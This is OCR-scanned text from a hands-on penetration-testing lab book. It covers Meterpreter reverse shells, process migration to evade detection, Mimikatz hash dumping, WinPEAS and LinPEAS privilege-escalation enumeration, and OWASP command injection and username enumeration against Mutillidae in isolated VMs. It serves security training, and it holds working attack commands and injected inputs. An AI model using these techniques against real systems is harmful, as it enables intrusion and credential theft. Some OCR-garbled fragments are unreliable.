“Windows Reverse_ TCP Meterpreter”. Type 2 and hit enter.

We will then be asked for the IP address which the target will connect to
when the payload is run. Open another terminal screen in Kali VM, then
simply type an “ifconfig” command to learn the IP address of ethO interface.
Return to setoolkit screen, enter this IP address below and press enter (1).




Next, you will be asked for a port. I have choosen port 5555 for this lab, but
you can choose any port (2). Once you enter the port, SET will begin
generating the payload. Once this is done, SET will ask if you want to start
the payload and listener now. Type yes and hit enter (3). Our created payload
file can be found this path “/root/.set/payload.exe” in Kali VM.

SET will now launch Metasploit and begin a listener for us using the
information we provided for the payload. This is an easier way of creating a
Metasploit payload and starting a listener.

Processing froot/.set/meta config for ERB directives.

¢ _tcp
%t payload windows/meterpreter/reverse _tcp
e tcp

set LHOST 192.168.56.103

running as
Exploit completed, but no

Started reverse TCP handler on 192.168.56.103:
msf6 exploit( ) »

Task 3:

When the listener is started, transfer the payload file to your Windows virtual
machine. It will be called “payload.exe” or something similar. In order to
transfer this file to the Windows machine easily, we will run nginx web
server in Kali VM and download the file from within Windows. Open a
terminal screen in Kali VM then type these commands:

sudo cp -v /root/.set/payload.exe /var/www/html/
sudo nginx

Now, switch to Windows VM, open a browser. Type this URL into the
address bar (1): http://192.168.56.103/payload.exe



http://192.168.56.103/payload.exe

[ -Ejl ] Yourenotconnected X |4 s~ - a -

0D 0 r 2 http://192.168.56.103/payload.exd Wﬁ) L.
'_’)-_What do you want to \“\
| Run —:} Save ~ Cancel b4

do with payload.exe
(72.1 KB)?

192.168.56.103 is the IP address of Kali VM in this instance.

Ensure that “Windows Defender” is turned off so that the payload can run
effectively. Then, with the listener running in Metasploit, download and
execute the payload in the Windows VM (2).

msf6 exploit( } >
sending stage (175174 bytes) to 192.168.5

Meterpreter session 1 .anened (192.168.56,103:
0676) at 2021-04-06 D3:5B:00 -04D0

msfe exploitl ) > sessions

Starting interaction with

Return to your Kali VM and you will find that we have a Meterpreter shell on
the target.

To view the different sessions/shells you have running in Metasploit, type
sessions. To interact with the established Meterpreter shell, type:

sessions -i 1



Lab 83. How to Migrate to a
Different Process on the Target
Machine after Establishing a
Meterpreter Shell

Lab Objective:
Learn how to migrate to a different process on a target machine after
establishing a Meterpreter shell.

Lab Purpose:

Meterpreter is a Metasploit attack payload that provides an interactive shell to
the attacker from which they can explore the target machine as well as
execute code.

Lab Tool:
Kali Linux and Windows

Lab Topology:
You can use Kali Linux in a VM and a Windows machine for this lab.

Lab Walkthrough:

Task 1:

This lab will continue on from the previous lab, where we use SET to create a
payload and establish a Meterpreter shell on a Windows target. In this lab, we
will be covering how to migrate to a different process on the Windows
machine and some basic privilege escalation.

With your Meterpreter shell open, you should still be connected to yor



Windows virtual machine. Type “sysinfo” to gather some information about
the target system. In this lab, we will be migrating our Meterpreter shell from
its current Meterpreter process to another process on the system. This is a
common next step after establishing a shell on a target as it is makes it much
easier to avoid detection.

We will begin by typing the following into the Meterpreter console:

pS

This command will list every process running on our Windows machine.
Look for the “explorer.exe” process running on the Windows machine. The
reason we want to migrate to this process is because it is typically always
running on Windows machines. This means that if the user checks their task
manager and sees explorer.exe running, they will not be suspicious.
However, if they see a process running called “edssddfkj.exe” they may become
suspicious, run a malware scan, and we will be caught on the system. Type
the following into your meterpreter shell:

ps | grep explorer.exe

This command will list all the processes running on the system and will then
use grep to find the explorer.exe process for us. On our machine, it has a
Process ID (PID) of 3228.

Task 2:
We will migrate to this process now by typing the following command:

migrate 3228

We should see something like the following screenshot:



r > ps | grep ex

Filtering on ‘explorer.exe’

Path

MSEDGEWIN1O\IEUser C:‘\Windows\explorer.exe

migr
ro 0l
ompleted

Great, we have sucessfully migrated to a different process on the Windows
system! (2)

1 Task Manager

File Options View

Processes Performance App history Startup Users Details  Senvices

Name FID Status User name CPU

(8] svchost.exe 3400 Running < e IEUser 00

8| RuntimeBroker. exe 3296 ' IEUser 00

(0| Windowsinternal.Co... 3288 IEUser 00

[a] MicrosoftEdgeSH.exe 3260 IEUser 00

1 explorer.exe 3228 | Running IEUser 01

[0 smartscreen.exe 3204 Rumning IEUser 00

(1] svchost.exe 2728 Running SYSTEM 00

(8] sppsvic.exe 2276 Running NETWORK.. 00

8: svchost.exe 2188 Running SYSTEM 00
Task 3:

We will now attempt some very basic privilege escalation. Metasploit comes
built in with a privilege escalation module. We can load this into Meterpreter
by typing the following:



use priv

This will load the privilege escalation module. Once the module is loaded,
type the following to attempt privilege escalation on the system (2):

getsystem

This is unlikely to work, but should be tried in any case. If this process fails,
your shell may die. If it does, simply run the listener again and execute the
payload on the target machine to re-establish the shell.

ready been loaded.

: Operation failed: The system cannot find the file specified

Named Pipe Im
Token Duplicati




L.ab 84. How to Use Mimikatz to
Extract all the Passwords from a
Windows Machine

Lab Objective:
Learn how to use Mimikatz to get all passwords from a Windows machine.

Lab Purpose:
Mimikatz is an open-source application which allows users to view and save
authentication credentials on Windows machines.

Lab Tool:
Kali Linux and Windows

Lab Topology:
You can use Kali Linux in a VM and a Windows machine for this lab.

Lab Walkthrough:

Task 1:

In this lab, we will be using the Mimikatz tool to dump all of the NTLM
hashes from a Windows machine. These hashes can then be cracked in a tool
like John the Ripper to provide us with all cleartext passwords for the
machine. To do this, we will need to establish a privileged shell on our
Windows machine. I will be using SSH to achieve this.

To begin, we will first need to setup the SSH service on our Windows
machine. This can be done through PowerShell. Open powershell as an
Administrator by searching for PowerShell in the search box at the bottom
left of your machine. Then, right-click on PowerShell and select “Run as



Administrator”.

Windows PowerSh “
Desktop app Lo Run as administrator
e
settings [ Open file location
™ Power & ¢ Pin to Start

Pin to taskbar

il PowerShil Develope

Uninstall
[ e loW local PowerShe

e
4
O]

run without sigNINg oy Ry as Administrator
(-
ke

if Remote Desktop hibs
settings

Run ISE as Administrator

Windows PowerShell ISE

-

it Remote Desktop slee_ . _ ..

Once in powershell, we can install the SSH tools necessary by typing the
following (1):

Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0

Once this has downloaded, we can start the SSH service by typing the
following (2-3):

Start-Service sshd
Get-Service sshd



rights reserved.

ability

Status Hame

s5hd

The last two commands run SSH, then shows its status.

Task 2:

Now, with the SSH server running on our machine, we can go ahead and
connect to our Windows machine from our Kali machine with the following
command:

ssh IEUser@192.168.56.104

192.168.56.104 is the IP address of our target Windows machine in this
instance. Once connected, we will have Administrator shell access on our
Windows machine.

Task 3:
The next step is to transfer the Mimikatz file over to our Windows machine.
The “mimikatz.exe” file can be found in the following directory in Kali VM:

/usr/share/windows-resources/mimikatz/x64/mimikatz.exe

Turn “Windows Defender’s real-time protection” off before starting to
transfer. Then, copy this file to the Windows machine using scp command;

scp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe \



IEUser@192.168.56.104:/Users/IEUser/

~/Desktop

are/windows-resources/mimikatz/x64/mimikatz.exe \

IEUseral192.168.56.104: /Users/IEUser/

TEUsergl92.168.56.104"'s password:
mimikatz.exe 100% 1279KB 6.7MB/s 00:00

Username “IEuser” and its home directory path might be different on your
Windows environment.

Task 4:

We can now execute the mimikatz application by navigating to the directory
where the application was transferred, and then type the following in our SSH
console (1):

mimikatz.exe

This will start the tool. From here, we will first ensure that mimikatz is
running as an Administrator. If it is not running as an administrator, the tool
wont run correctly. To check, we can type the following (2):

privilege::debug

ieuseragMSEDGEWIN1I® C:‘\Users\IEUser>mimikatz.exe

mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
"A La Vie, A L'Amour® -
/*%x% Benjamin DELPY g

» https://b

Vincent LE

> https://pir

The result of this command should be Privilege ‘20’ OK, which indicates that


mailto:IEUser@192.168.56.104:/Users/IEUser/

the tool is running as Administrator (3).

Task 5:
The final step is to dump all NTLM hashes from the system. We can do this
by typing the following:

lsadump::Isa /patch

mimikatz # lsadump::1lsa /patch
Domain : MSEDGEWIN1® / 5-1-5-21-34612803602-40\6304D019-22609080069

)00003ea (1002)
User : sshd
LM

NTLM @ &475a70d@5B18c@dlct

RID : oo0e01f8 (504)

User : WDAGUtilitvAccount

LM

NTLM : f27cBcl12a5c94e851d73bb4cela?Tdl140 V

mimikatz #

All of the NTLM hashes for every service and use on the system will be
displayed to us. We can copy these hashes and take them to John the Ripper,
to crack them and obtain the cleartext passwords to the system.



L.ab 85. How to Enumerate for

Privilege Escalation on a Windows
Target with WInPEAS

Lab Objective:
Learn how to use WinPEAS to enumerate for privilege escalation on a
Windows target.

Lab Purpose:
WInPEAS is a script which will search for all possible paths to escalate
privileges on Windows hosts.

Lab Tool:
Kali Linux and Windows

Lab Topology:
You can use Kali Linux in a VM and a Windows machine for this lab.

Lab Walkthrough:

Task 1:

In this lab, we will be looking at how to use WinPEAS to enumerate a
Windows target for all possible privilege escalation opportunities. We will
download PEAS (Privilege Escalation Awesome Scripts) from the internet.
First, make sure that your Kali VM is currently connected to a network that
has access to the internet. Now, open a terminal screen and type the following
command in a single line:

git clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git



https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git

This will download all the scripts and tools you need. For this lab, we will be
focusing on WinPEAS, which is the script for enumerating on Windows
targets.

Once downloaded, navigate to the directory containing the file
winPEASx86.exe (or WinPEASx64.exe if you are running a 64 bit version
of Windows). You can locate this file by typing the following into a terminal

(1):

find . -iname “winPEAS*.exe”

This will show you the exact location of the files. We want to use the Release
option for this lab. Choose proper file for your installed Windows platform
(32bit|64bit) and copy this file to nginx web server document root, which is

” jvar/www/html”;

sudo cp ./privilege-escalation-awesome-scripts-
suite/winPEAS/winPEASexe/binaries/x86/Release/winPEASx86.exe /var/www/html

Then, start the nginx web server. To do this, open a terminal screen and type
the following command:



sudo nginx

We are doing this because we will later download this file from the target
Windows machine, just as we will pull the payload file. In a real life scenario,
this would be done using a phishing email or some other form of social
engineering. For this lab, simply transfer the file to your Windows machine.

Task 2:

We will need to establish a basic shell on the target. First, put Kali VM into
same “Host-Only Network” with Windows target machine again to isolate
attacks/scans from your real network.

Then, create a reverse shell payload using msfconsole, transfer this to the
Windows target, establish a Metasploit listener and execute the payload.
Refer to lab 82 for more info.

Started reve
msfe exploi ) > Sending 5
session 1 opened (192.168.56.103:5555
-0400

msfb exploit( ) > sessions -i 1
Starting interaction with 1 ...

meterpreter >

So, we now have a meterpreter shell on our target.

Task 3:

Switch to the console of your Windows machine and open a browser.
Download the winPEASx86.exe file from the Kali VM by typing the
following URL in the address line:

http://192.168.56.103/winPEASx86.exe

Ensure that “Windows Defender, realtime scan” is turned off before try to
download. Otherwise, this file might be considered suspicious by Windows
and can be destroyed immediately.



What do you want to do with

EaSxdbene | e
i
winPEASx86.exe (1.6 ME)? e_/-' Run ﬂ £ Cancel X
From: 192.168.56.103

O @ D | 192.168.56.103/winPEA tf————— 0}5 T
Save

Once on the Windows machine, we can easily execute the script. In
Meterpreter, type the following to get a shell on our Windows machine:

shell

Channel 1 created.
Microsoft Windows [Version 10.0.17763.379]
(c) 2018 Microsoftt Corporation. All rights reserved.

C:\Users\IEUser\Downloads>dir

Volume in drive C is Windows 1@
Volume Serial Number is B4AG6-FECE

Directory of C:\Users\IEUser\Downloads
81:20 PM

91:20 PM
21:19 PM

C:\Users\IEUser\Downloads>

Once interacting with the cmd shell, we can execute the script by navigating
to the directory where we saved the file and then typing the following:

winPEASx86.exe > results.txt

After running command, WinPEAS goes through the entire system looking
for various privilege escalation methods available and write all output to a



text file, results.txt.

WinPEAS will look for a massive amount of information to provide us with a
comprehensive list of options with regards to privilege escalation. Some of
the information gathered include connections open, open ports, listeners, SSH
keys, windows credentials in the Windows Vault, and Credential manager,
etc. Let’s look at the content of this file now. Type this command in the same
shell:

type results.txt

payload(3272)[

Command Line: "C:\Users\IEUser\Downloads\payload.exe"

RuntimeBroker( 4644 )[(

Command Line: C:\Wind

RuntimeBroker( 62
Command Line: C:

WInPEAS colour-codes the information it provides us, with items in red
indicating the strongest possibility of privilege escalation.

Indicates a special privilege over an object or something is misconfigured
Indicates that some protection is enabled or something is well configured

Indicates active users
Indicates disabled users
Indicates links




IL.ab 86. How to Enumerate for

Privilege Escalation on a Linux
Target with LinPEAS

Lab Objective:
Learn how to use LinPEAS to enumerate for privilege escalation on a Linux
target.

Lab Purpose:
LinPEAS is a script which will search for all possible paths to escalate
privileges on Linux hosts.

Lab Tool:
Kali Linux and Metasploitable.

Lab Topology:
You can use Kali Linux in a VM and Metasploitable Linux VM for this lab.

Lab Walkthrough:

Task 1:

In this lab, we will be looking at how to use LinPEAS to enumerate a Linux
target for all possible privilege escalation opportunities. We will download
PEAS (Privilege Escalation Awesome Scripts) from the internet. First, make
sure that your Kali VM is currently connected to a network that has access to
the internet. Now, open a terminal screen and type the following command in
a single line:

git clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git



https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git

p/privilege-escalation-awesome-scripts-suite.git

This will download all the scripts and tools you need. For this lab, we will be
focusing on LinPEAS, which is the script for enumerating on Linux targets.

Once downloaded, navigate to the directory containing the file linpeas.sh. You
can locate this file by typing the following into a terminal (1):

find . -iname “linpeas.sh”

el

JSprivilege-escalation-awesome-scripts-suite/1inPEAS/1linpeas.sh

This will show you the exact location of the file. Copy this file to the
document root of nginx web server, which is ”/var/www/html”:

sudo cp ./privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh /var/www/html

Then, start the nginx web server. To do this, open a terminal screen and type
the following command:

sudo nginx

We are doing this because we will later download this file from the target
Metasploitable Linux VM. In a real life scenario, this would be done using a
phishing email or some other form of social engineering. For this lab, simply
transfer the file to your Metasploitable Linux VM.

Task 2:



We will need to establish a basic shell on the target. First, put Kali VM into
same “Host-Only Network” with target Metasploitable Linux VM again to
isolate attacks/scans from your real network.

Then, create a reverse shell payload using msfvenom, transfer this file to the
Metasploitable Linux VM target, establish a Metasploit listener in Kali VM,
and execute the payload on target machine. Refer to lab 75 for more
information.

Started reverse TCP handler on 192.168.56.1@03:5555
Sending stag 980808 bytes) to 102.168.56.105

Meterpreter session 1 opened (192.168.56.103:5555 — 192.168.56.105:53729) at 20
21-04-0b 23:51:08 -0400 ;

So, we now have a meterpreter shell on our target!

Task 3:

Switch to the text console of your Metasploitable Linux VM. Download the
linpeas.sh file from the Kali VM, then make it executable by typing the
following commands:

wget http://192.168.56.103/linpeas.sh
chmod +x linpeas.sh

nsladnin@netasploitable: S wget 192.168.56.103-11 ipeas .sh
00:02:21 http:~--192.1 Ch. 103 -Tinpcas.sh
» linpeas.sh
Connecting to 19£.168.56.103:80 . conmnected.
HTTP FrEquEs it sent, waiting response 200 DK
Length: 326,992 (3Z21K) [applicationsoctet-streanl

100 - 128 .992

ae:8Z:Z1 (84.7V9 HB- %) “1i npeas.sh’ saved [IZB99Z2-3289921]

"..1.-1||:'|I|||‘."|r'|||'-| laoitable: !:: chmod +x | INpEAS sh

'1".1.|l1i|'|I'lf'|r'I.|':| loitable: "5 1 al linpea: h

ruxr-xr-x 1 nsfadain nsfadmin 328992 20£1-04-06 £3:40 linpeas.sh

o adml nbei I.|':|. loitable:




Once on the Linux machine, we can easily execute the script. In Meterpreter,
type the following to get a shell on our Linux machine:

shell

meterpreter > shell <":_:X
F'J -I.-| acec 5 ..'.. 1.] Fl F- t‘ ':' |_-1 1.' '-.‘ ‘-I L @

Channel 2 created.

reverse-sh. EN @

viulnerable

Once interacting with the shell, we can execute the script by navigating to the
directory where we saved the file and then typing the following:

/linpeas.sh > results.txt

After running command, LinPEAS goes through the entire system looking for
various privilege escalation methods available and write all output to a text
file, results.txt. If “linpeas.sh” didn’t work, make sure it is executable. You can
make this file executable by typing “chmod + x linpeas.sh” within this meterpreter
shell.

LinPEAS will look for a massive amount of information to provide us with a
comprehensive list of options with regards to privilege escalation. Some of
the information gathered include hidden files, files with specific names in
them such as “password” or “credential”, interesting files with potential
passwords, credentials for services such as apache2, mail usernames and
passwords, etc. Let’s look at the contents of this file now. Type this
command in the same shell:

cat results.txt

LinPEAS colour-codes the information it provides us, with items in red
indicating the strongest possibility of privilege escalation.
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Lab 87. OWASP A1—O0OS
Command Injection

Lab Objective:
Learn how to perform command injection on a target site.

Lab Purpose:
Command injection is an attack which executes arbitrary commands on the
host operating system via a vulnerable application.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM and Mutillidae 2 Tool for this lab.

Lab Walkthrough:

Task 1:

In this lab, we will be using the OWASP Mutillidae II environment. First of
all, we need to have this installed in Kali VM. Follow the steps below for
installation:

Open a terminal screen in Kali VM and install the necessary packages by
entering the commands below:

sudo apt update

sudo apt install php-xml php-fpm libapache2-mod-php php-mysql php-gd \
php-imap php-mysql php-curl php-mbstring -y

sudo a2enmod proxy_fcgi setenvif

sudo systemctl restart apache2

sudo a2enconf php7.4-fpm



=

update

Hit:1 http +1 / kali-rolli
Reading p g sts ... Done
Building dependency t .-. Done

Done

Run "apt list
teading : [ 3
Building dependenc "ee ... Done
Reading ate infor 1... Done
libapache2-mod-php ready the newest
php-curl is already
php-fpm is already the newes
php-gd is already the new
php-1
php-mbstring 1s
php-mysql

I
k
h

ule sete f a
Conf php7.4-fpm :

Start Apache and MariaDB services:

sudo systemctl reload apache2

sudo systemctl restart apache2.service
sudo service php7.4-fpm restart

sudo systemctl restart mariadb

Connect MariaDB as root user:

sudo mysql -u root

|

L php-gd php-ima

upgradable® to see

not

upgraded.

®




root {“"“#:_-————"— @
[sudo| password for kali:
Welcome to the MariaDB monitor. Commands end with ; or \g.

Your MariaDB connection id is 86
Server version: 10.5.8-MariaDB-3 Debian buildd-unstable

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type ‘help;' or ‘\h' for help. Type '\c' to clear the current input statement

Then, paste the following commands to create new database, db user, and
grant enough privileges to new db user:

DROP USER IF EXISTS ‘mutillidae’;

CREATE USER ‘mutillidae’ @’%’ IDENTIFIED BY ‘mutillidae’;
DROP DATABASE IF EXISTS mutillidae;

CREATE DATABASE mutillidae;

GRANT ALL PRIVILEGES ON mutillidae.* TO ‘mutillidae’ @’%’;
FLUSH PRIVILEGES;

SHOW DATABASES;

exit;



MariaDB [(none)]> DROP USER IF EXISTS 'mutillidae’;
Query OK, 0 rows affected (0.023 sec)

MariaDB [(none)]> CREATE USER 'mutillidae’®)'%' IDENTIFIED BY "mutillidae’; @
Query OK, 0 rows affected (0.002 sec)

MariaDB [(none)]> DROP DATABASE IF EXISTS mutillidae;
Query OK, 0 rows affected (0.001 sec)

MariaDB [(mone)]> CREATE DATABASE mutillidae; @
Query OK, 1 row affected (0.000 sec)

MariaDB [(none)]> GRANT ALL PRIVILEGES ON mutillidae.* TO ‘mutillidae'g’'%'; @
Query OK, @ rows affected (0.002 sec)

MariaDB [(none)]> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.002 sec)

MariaDB [(none)]> SHOW DATABASES;

Database

]
]
+
'

rows in set (0.001 sec)

MariaDB [(none)]>

Get OWASP Mutillidae IT codes from its git repository. Set the required
permissions so that apache can serve these pages:

cd /var/www/html
sudo git clone https://github.com/webpwnized/mutillidae.git
sudo chown -R www-data:www-data /var/www/html/mutillidae



=

fvar/ wws/html

Avar/wwa /html

Cloning into

remote: F_III.."'EJI'q-'il 1N3 ob jects:
Counting objec
Compres
Total
ing objects:
olving deltas: 1leex (11

Open “mutillidae/includes/database-config.inc” file with an editor, then replace
username ‘root’” with ‘mutillideae’ in DB_ USERNAME variable:

GNU nano 5.4 mutillidae/includes/database-config.inc *

defa ; '127.9.8.1");
define( 'DB ', ‘'mutillidae’);

define ; " m 1lida
define( 'DB_NAME', 'mutillidae’);

Our system is almost ready. Open a browser in Kali, then type this URL in
address: bar:http:/localhost/mutillidae



http://localhost/mutillidae

The database server appears to be offline.

The database server at 127.0.0.1 appears to be offline.

1. Bé suré theé username dnd password to MySOL 1§ the Same as configurad In
includes/database-config.ing

2. Be aware that MyS0L dizzs
update in SOME Sy,

USemarme and pas) to MySOL s the a5 configured In In ‘dotabase-
config.inc e

3. Try to setup/reset the DB to see if that helps — |

4

. A video Is avallable tc help reset My50L oot password i
5. The cOMmMands vary By System and version, but may be something srillar 1o the

following

g=swond authentication for root user upan installation or

here user="root";
M

Mo PHP or MyS0L errors were detected when resetting the

gdatabase

ceed to hittp:/floca
pTpage=home.php&popUpNotificationCode=35UD1 C—

vy on this page

" ox OWASP Mutiliidae Iig

Verzion: 2.8.32  Se<urity Level: O (Hosed)

PRSI ] T
AR Sl
THRALE MRS
CHUAS T Jaa?
Vel i e

LH Eerrs

1 sl
Dl e i1 ol i

D illw
Want te Help?

' Aelaate ARRoUuRncements _‘ Latesl Verslon

Click where it says “setup / reset the DB” on the next page (1). Click OK
when confirmation popup appears (2). Finally, OWASP Mutillidae II
Environment is ready to use! (3)



Task 2:

This lab will be covering topic A1 of the OWASP Top 10 — Injection.
Considering that we have covered SQL Injection in another lab, in this lab,
we will be looking at Command Injection and how it works.

In this lab, we will be using Mutillidae to demonstrate how command
injection works. We will be using the DNS lookup page to demonstrate this.

e+« OWASP Mutillidae II: Keep Calm and Pw

Version: 2.8.32 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) No
Home | Login/Register | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Log | View

OWASP 2017 Al - Injection (SOL) ]
@ ) and Vio

OWASP 2013 Al - Injection (Other) @b Application Log Injection b

- TIP: Click H|
OWASP 2010 A2 - Broken Authentication and » Buffer Overflow ’ on

Session Management

OWASP 2007 —_— Cascading Style Injection b

A3 - Sensitive Data Exposure
Web Services _— CRC-bit Flipping

A4 - XML External Entities

Others Command Injection 'B_/l b @ DNS Lookup

A5 - Broken Access Control

Labs E————.., Frame Source Injection ¥ DNS Lookup (SOAP Weh

Af . Barvrity Misranflianratinn

Navigate to this page in your web browser to continue with the lab.

Task 3:

Once on the page, we are presented with a text box in which we can lookup
DNS information about a particular host. You can try this now by searching
for the DNS information of a particular site.

This page is vulnerable to an injection vulnerability known as command
injection. This means that we can submit commands through this application
and execute them on the backend operating system. This is a serious
vulnerability, as we can essentially control the entire operating system.

We can test this in a number of ways. The first step is to try and determine if
the vulnerability exists. We can do this by typing the following:

www.google.com & echo hello



| Enter IP or hostname L

€) =P LookupONs |

Results for

www.google.com & echo hello

helle
Server:
Address:

Non-authoritative answer:
Name: www.google.com
Address: 172.217.20.4
Name: www.google.com
Address: 2a00:1450:400d:805::2004

‘ hello
Server:

This will search for DNS information for google.com and will then “echo
hello” back to us on the webpage, indicating that the site is vulnerable to
command injection.

Task 4:

Now that we know we can perform command injection, we can execute more
commands to take advantage of the OS. The first step here should be an
attempt to determine the OS type, whether it is Linux or Windows. To do
this, we should execute commands which would only work on Linux or
Windows and note the results. Type the following two commands now:

www.google.com & uname -a



[ et |

Linux kali 5.10.0-kali3-amd64 #1 SMP Debian 5.10.13-1lkalil (2021-8
Server:  ©4.6.64.%

l.dtlrﬂ;: H:i.ﬁl:ﬂ!!

Non-authoritative answer:
Name: www.google.com
Address: 216.58.214.196

Name: www.google.com @

Address: 2a@0:1450:400d:803::2004

As you will find, the this command will return a result if we are working with
a Linux OS, as the command will only work on Linux systems. To prove this
further, we can type the following:

www.google.com & Is

[ Results fol www.google.com & Is

Dockerfile
README - INSTALLATION . md
README . md
add-to-your-blog.php

ajax
arbitrary-file-inclusion.php

authorization-required.php
back-button-discussion.php
browser-info.php
cache-control.php
capture-data.php
captured-data.php

As you will see, we have now listed the entire directory we are in.

Task 5:
We can now move through the file system and look for interesting files. For



example, we can change to the root directory by typing the following:
www.google.com & cd / && Is

This will change to the home directory and list all the files present in this

directory.
Results fmhww.nuugle.:nm &cd/ &&ls I 1

_

bin /
boot

dev

etc

home
initrd. img
initrd.img.old ——

1lib 'E!!J
1ib32 |
lib64
libx32
lost+found
media

mnt

opt

proc

root

run

sbin

irv

sys

tmp

usr

var
_—

From here, attackers can continue to gather information about the OS,
establish a shell, transfer files, etc.



Lab 88. OWASP A2—Broken
Authentication and Session
Management: Username
Enumeration Vulnerability

Lab Objective:
Learn how to perform username enumeration on a vulnerable site.

Lab Purpose:
Username enumeration is when an attacker can observe changes in the
website’s behaviour to identify whether a given username is valid.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM and Mutillidae 2 Tool for this lab.

Lab Walkthrough:

Task 1:

In this lab, we will be covering topic A2 of the OWASP Top 10 — Broken
Authentication. In this lab, we will be performing username enumeration on a
vulnerable site. I will be using Mutillidae 2 to perform this lab. This

vulnerable page can be found at the following location in the menu of
Mutillidae 2:



o OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.8.32 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) Mot Logged In
Home | Login/Register | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

OWASP 2017 Al - Injection (S0L) D"s Luukup

DWASP 2013 Al - Injection (Other)

DWASP 2010

OWASP 2007

A3 - Sensitive Data Exposure #
Web Services

A4 - XML External Entities »
Others 150N Web Token (JWT) Edit User Profile
A% - Broken Access Control (]
Labs Lookup User (SOAP Web Service)
AG - Security Misconliguration » -

[ow umentation

User Account Management
Enter IP or hostna (REST Web Service)

AT - Cross Site S¢ |'lpr|r|q (X55) »
Resources =

Task 2:

This is a very straightforward vulnerability. Essentially, it involves entering
usernames into the Username text box and submitting these values to
determine how the site reacts. Depending on the sites reaction, we can
determine whether that username exists or not.

To see this vulnerability in action, enter the username “User” into the text
box and press login. Server provides the response “Account does not exist”
indicating that this username does exist.

[ Account does not exist I
| (‘;lusn sign-in |
Usernam [ User
Password J |

J Login
Dont h an account? Please register here

Now, enter the username “admin” into the text box and press login. Note that



the server provides the response “Incorrect Password”, indicating that this
username exist but the password is inccorrect! Using this information, we can
perform brute forcing using this username in an attempt to guess this user’s
password.

r Pa'sswurd incorrect }

Please sign-in

Username " admin

Password

Login

This may be a simple version of username enumeration, but in reality, you
may have to pay attention to things like error messages, response times, and
status codes to provide indications of existing usernames on a site.

Task 3:

We can now use this information to change the password and signature of
another user’s account. If you type “adrian” into the box above, you will find
that this username exists. We can take this information now and navigate to
the “Edit Profile” page.



o OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.8.32  Security Level: 0 (Hosed) Hint%: Enabled (1 - Try easier] Logged In User: a

Home | Logout | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

OWASP 201 o Al - Injection (SOL) b Edit Profile

OWASP 2013 Al - Injection (Other) ¥

OWASP 2010 A2 - Broken Authentication @ Authentication Rﬂ}dﬁ.ﬁ ]
Sesclon Management

OWASF 2007 _— Priviliege Escalation 4

A3 - Sensitive Data Exposure

Web Services Username Enumeration 9 Login

B A4 - XML External Entities (-

Others e e ) JSON Web Token (JWT)  » Edit User Profile (4]
A3 - Broken Access Control  »

Labs Lookup User (SOAP Web Service)
A6 - Security Misconflouration

This page has no user authentication or session management implemented.
This page allows us to change the password and signature for our logged in
user. To access this page, login as the admin with the username “admin” and
password “adminpassword”.

Once at the page, replace the username admin with adrian, and type any
password and signature. You will notice that the profile for adrian becomes
updated even though we are not logged in as adrian. This is a clear example
of poor session management.



____________________________________________________________________________________________________

...... Profile updated for adrian_ |

Please choose your username, password and
signature

Username ladrian

Password [ll-ll SEEEEEBES Password Generator

Confirm Password [- ITTITTTITITY]

HACKED !
Signature

| Update Profile




Lab 89. OWASP A3—Sensitive
Information Disclosure

Lab Objective:
Learn how to take advantage of a sensitive information disclosure
vulnerability.

Lab Purpose:
Sensitive information disclosure is when a site unintentionally reveals
sensitive information to users.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM and Mutillidae 2 Tool for this lab.

Lab Walkthrough:

Task 1:

In this lab, I will be using Mutillidae to demonstrate an example of
information disclosure. How to install this environment in Kali VM is
explained in detail in lab 87.

Information disclosure is also referred to as information leakage, and can
refer to several things, including:

e Unnecessarily exposing sensitive information, such as credit
card details

e Hard-coding API keys, IP addresses, database credentials, and
so on in the source code



e Hinting at the existence or absence of resources, usernames,
and so on via subtle differences in application behaviour

e Revealing the names of hidden directories, their structure, and
their contents via a robots.txt file or directory listing

e Providing access to source code files via temporary backups

e Explicitly mentioning database table or column names in error
messages

In this lab, I will be using the Client-side Comments page to demonstrate a
hardcoded credentials vulnerabilitiy. To begin, navigate to the Client-side
Comments page which can be found at the following place in the menu:

o« OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.8.32 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) Mot Logged |
Home | Login/Register | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Di

OWASP 201 0 Al - Injection (SOQL)

3
AEEEESSS————— = 3nd Videos
OWASP 2013 Al - Injection (Other) b

TIP: Click Hint and Vi

OWASP 2010 A2 - Broken Authentlcation and b on each pags
Session Management
OWASP 2007

A3 - Sensilive Dala Exposure Information Disclosure 9 Edit User Profile
Web Services

ok Ad - XML External Entities Application Path Disclosure » PHP MyAdmin Consale
Others

Lab A5 - Broken Access Control Platform Path Disclosure FHF Info Page
ahs

z A - Security Misconfiguration 551 Misconfiguration Robots.txt
Documentation

AT - Cross Site Scripting (X55) JSON Web Token (JWT) b "Secret” Administrative Pages

HTMLS Web Storage

HTML/JavaScript Comments o_)

Cache-Conltrol

Resources

AE - Insecure Deserialization —
cements w Latest Vers
Donate A9 - Using Compenents with ca
Want to Help? Enown Yulnerahilities

AN - Insufficiant | somwing and

This page is vulnerable and includes some credentials hard-coded into the
comments section of the source code.

Task 2:
We can view the source code for this page by right-clicking on the page and
clicking on the “View Page Source” option from the menu.



[ Client-side Comments

Most pages have comments that are
client-side. The comments are inclu

pages appear, 50 almost any page

You may want to try te "View Source
credentials might be present.

Click "Hints and Videos", Open thd
There are videos at the bottom that

that may
be useful.

View Page Source

